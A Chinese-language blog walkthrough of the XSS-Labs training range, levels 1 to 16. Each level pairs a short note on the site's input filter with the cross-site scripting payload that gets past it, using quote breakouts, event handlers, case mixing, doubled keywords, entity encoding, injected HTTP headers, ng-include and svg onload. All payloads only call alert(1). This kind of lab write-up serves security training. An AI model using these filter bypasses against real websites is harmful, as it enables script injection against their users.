【XSS-Labs】

靶场地址

https://xssaq.com/yx/index.php

level1

在name里产生交互,直接进行XSS就行

name=<script>alert(1)</script>

level2

数据传入value中,构造value的双引号闭合

<input name=keyword  value="1111">
"><script>alert(1)</script>

level3

构造单引号value闭合,发现过滤<>

<input name=keyword  value='11111'>
'><script>alert(1)</script>

通过onclick进行过滤

' onclick='alert(1)

level4

过滤<>,构造双引号闭合,通过onclick过滤

<input name=keyword  value="11111">
" onclick="alert(1)

level5

对script标签进行破坏,通过href的javascript协议进行绕过

<input name=keyword  value="1111">
"><a href=javascript:alert(1)>

level6

通过level5方法进行绕过,只是破坏href,进行大小写绕过

"><a hREf=javascript:alert(1)>

level7

对script进行一次过滤,双写绕过

"><scscriptript>alert(1)</scriscriptpt>

level8

对标签进行破坏,替换”等敏感字符,看到href,尝试javascript::绕过

</center><center><BR><a href="11111">
javascript:alert(1)
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;   //Unicode编码

href=””这里面的任意字符串,都会被当作协议执行,所以Unicode编码在前端会被解析成正常的字符串

level9

和level8一样,只是要在结尾加上http://

<input name=keyword  value="1111">
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

level10

三个隐藏变量,都试一遍,发现只有t_sort可以

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">

传入参数,改type为text可见

t_sort=" type="text" onmouseover="alert(1)

level11

四个参数都不行,t_ref是Referer参数的值

<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ref"  value="" type="hidden">

抓包后在Referer添加XSS

Referer:" type="text" onmouseover="alert(1)

level12

在User-Agent里面修改数据

<input name="t_ua"  value="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0" type="hidden">
User-Agent:" type="text" onmouseover="alert(1)

level13

在Cookie里面修改数据

Cookie:user=" type="text" onmouseover="alert(1)

level14

iframe调用的文件来实现xss注入,靶场环境不允许

level15

1、ng-include 指令用于包含外部的 HTML文件。

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式,返回一个文件名。

4、默认情况下,包含的文件需要包含在同一个域名下。

1.ng-include,如果单纯指定地址,必须要加引号

2.ng-include,加载外部html,script标签中的内容不执行

3.ng-include,加载外部html中含有style标签样式可以识别
<body><span class="ng-include:111"></span></body>
?src='level1.php?name=<img src=1 onerror=alert(1)>'

level16

将script换成&nbsp,也就是空格,通过%0a配合onload绕过

<svg%0aonload=alert(1)>
posted @ 2022-03-20 11:39  icui4cu  阅读(119)  评论(0编辑  收藏  举报